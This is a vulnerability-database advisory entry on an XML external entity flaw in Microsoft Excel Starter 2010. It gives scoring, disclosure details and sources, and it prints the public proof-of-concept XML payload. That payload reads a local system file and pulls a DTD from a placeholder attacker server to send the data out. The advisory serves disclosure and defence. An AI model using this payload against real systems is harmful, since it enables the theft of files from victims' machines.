CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
---|---|---|
3.9 | $0-$5k | 0.00 |
A vulnerability has been found in Microsoft Windows 7 (Operating System) and classified as problematic. This vulnerability affects an unknown part of the component Excel Starter 2010. The manipulation with an unknown input leads to a xml external entity reference vulnerability. The CWE definition for the vulnerability is CWE-611. The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output. As an impact it is known to affect confidentiality.
The weakness was shared 12/04/2016 by John Page (hyp3rlinx) as Microsoft Excel Starter 2010 XML External Entity as not defined mailinglist post (Full-Disclosure). The advisory is shared for download at seclists.org. The vendor cooperated in the coordination of the public release. The attack can be initiated remotely. Technical details are unknown but a public exploit is available.
A public exploit has been developed by John Page (hyp3rlinx) and been published immediately after the advisory. It is possible to download the exploit at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 91 days. During that time the estimated underground price was around $25k-$100k. The code used by the exploit is:
<?xml version="1.0"?> <!DOCTYPE APPARITION [ <!ENTITY % file SYSTEM "C:\Windows\system.ini"> <!ENTITY % dtd SYSTEM "http://ATTACKER-SERVER:8080/payload.dtd";> %dtd;]> <pwn>&send;</pwn>
The mailinglist post contains the following remark:
MSRC Response: "Out of date Office Client"
The entries 93968, 93963 and 93962 are related to this item.
Product
Type
Vendor
Name
Version
License
Support
- end of life (old version)
CPE 2.3
CPE 2.2
Video
CVSSv4
VulDB CVSS-B Score: 🔍VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 4.3VulDB Meta Temp Score: 3.9
VulDB Base Score: 4.3
VulDB Temp Score: 3.9
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv2
AV | AC | Au | C | I | A |
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💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
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unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
Exploiting
Class: Xml external entity referenceCWE: CWE-611 / CWE-610
CAPEC: 🔍
ATT&CK: 🔍
Local: No
Remote: Yes
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: John Page (hyp3rlinx)
Download: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
0-Day | unlock | unlock | unlock | unlock |
---|---|---|---|---|
Today | unlock | unlock | unlock | unlock |
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: no mitigation knownStatus: 🔍
0-Day Time: 🔍
Exploit Delay Time: 🔍
Timeline
09/04/2016 🔍09/04/2016 🔍
12/04/2016 🔍
12/04/2016 🔍
12/05/2016 🔍
07/24/2019 🔍
Sources
Vendor: microsoft.comProduct: microsoft.com
Advisory: Microsoft Excel Starter 2010 XML External Entity
Researcher: John Page (hyp3rlinx)
Status: Not defined
Coordinated: 🔍
scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍
Entry
Created: 12/05/2016 21:50Updated: 07/24/2019 16:57
Changes: 12/05/2016 21:50 (54), 07/24/2019 16:57 (2)
Complete: 🔍
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